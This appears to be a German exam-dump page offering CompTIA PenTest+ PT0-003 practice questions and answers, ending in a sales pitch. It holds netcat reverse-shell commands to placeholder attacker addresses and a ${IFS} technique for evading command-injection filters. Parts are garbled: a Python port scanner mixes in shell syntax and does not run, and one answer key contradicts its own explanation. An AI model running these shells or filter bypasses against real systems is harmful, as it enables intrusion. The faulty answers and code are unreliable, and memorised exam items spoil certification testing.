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CompTIA PT0-003 Prüfung Übungen und Antworten

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CompTIA PT0-003 Prüfungsplan:

Thema
Einzelheiten

Thema 1

Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

Thema 2

Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.

Thema 3

Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.

Thema 4

Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.

Thema 5

Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase’s responsibilities.

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CompTIA PenTest+ Exam PT0-003 Prüfungsfragen mit Lösungen (Q22-Q27):

22. Frage
While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

A. Configuration changes were not reverted.
B. A full backup restoration is required for the server.
C. The penetration tester was locked out of the system.
D. The penetration test was not completed on time.

Antwort: A

Begründung:
* Debugging Mode:
* Purpose: Debugging mode provides detailed error messages and debugging information, useful during development.
* Risk: In a production environment, it exposes sensitive information and vulnerabilities, making the system more susceptible to attacks.
* Common Causes:
* Configuration Changes: During testing or penetration testing, configurations might be altered to facilitate debugging. If not reverted, these changes can leave the system in a vulnerable state.
* Oversight: Configuration changes might be overlooked during deployment.
* Best Practices:
* Deployment Checklist: Ensure a checklist is followed that includes reverting any debug configurations before moving to production.
* Configuration Management: Use configuration management tools to track and manage changes.
* References from Pentesting Literature:
* The importance of reverting configuration changes is highlighted in penetration testing guides to prevent leaving systems in a vulnerable state post-testing.
* HTB write-ups often mention checking and ensuring debugging modes are disabled in production environments.

23. Frage
A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

A. crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com
B. cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com
C. nslookup mydomain.com ?/path/to/results.txt
D. dig @8.8.8.8 mydomain.com ANY ?/path/to/results.txt

Antwort: B

Begründung:
Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

24. Frage
SIMULATION
Using the output, identify potential attack vectors that should be further investigated.

Antwort:

Begründung:
See explanation below.
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)

25. Frage
A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:
nc -e /bin/sh 10.10.10.16 4444
Which of the following would most likely bypass the filtered space character?

A. %0a
B. ${IFS}
C. + *
D. %20

Antwort: B

Begründung:
To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.
Command Injection:
Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.
Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters like spaces.
Bypassing Filters:
${IFS}: Using ${IFS} instead of a space can bypass filters that block spaces. ${IFS} expands to a space character in shell commands.
Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc${IFS}-e${IFS}/bin/sh${IFS}
10.10.10.16${IFS}4444.
Alternative Encodings:
%0a: Represents a newline character in URL encoding.
+: Sometimes used in place of space in URLs.
%20: URL encoding for space.
However, ${IFS} is most appropriate for shell command contexts.
Pentest References:
Command Injection: Understanding how command injection works and common techniques to exploit it.
Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.
Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.
By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability's exploitability.

26. Frage
A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and unrestricted outbound TCP connections. The target web server is https://target.comptia.org. Which of the following should the tester use to perform the task with the fewest web requests?

A. nc -e /bin/sh <pentester_ip> 53
B. /bin/sh -c 'nc <pentester_ip> 443'
C. /bin/sh -c 'nc -l -p 443'
D. nc -e /bin/sh -lp 53

Antwort: B

Begründung:
The tester needs to pivot from the compromised web server while bypassing firewall restrictions that allow:
* Inbound traffic only on TCP 443 (HTTPS) and TCP 53 (DNS)
* Unrestricted outbound traffic
* Reverse shell using TCP 443 (Option D):
* This command initiates an outbound connection to the pentester's machine on port 443, which is allowed by the firewall.
* Example:
bash
CopyEdit
/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
* The pentester listens on TCP 443 and receives the shell from the target.

27. Frage
......

Die CompTIA PT0-003 Zertifizierung ist den IT-Fachleute eine unentbehrliche Prüfung, weil sie ihres Schicksal bestimmt. Die Fragenkataloge zur CompTIA PT0-003 Prüfung brauchen alle Kandidaten. Mit ihr kann der Kandidat sich gut auf die PT0-003 Prüfung vorbereiten und nicht so sehr unter Druck stehen. Und die Fragenkataloge in It-Pruefung sind einzigartig. Mit ihr können Sie die CompTIA PT0-003 Prüfung ganz mühlos bestehen.

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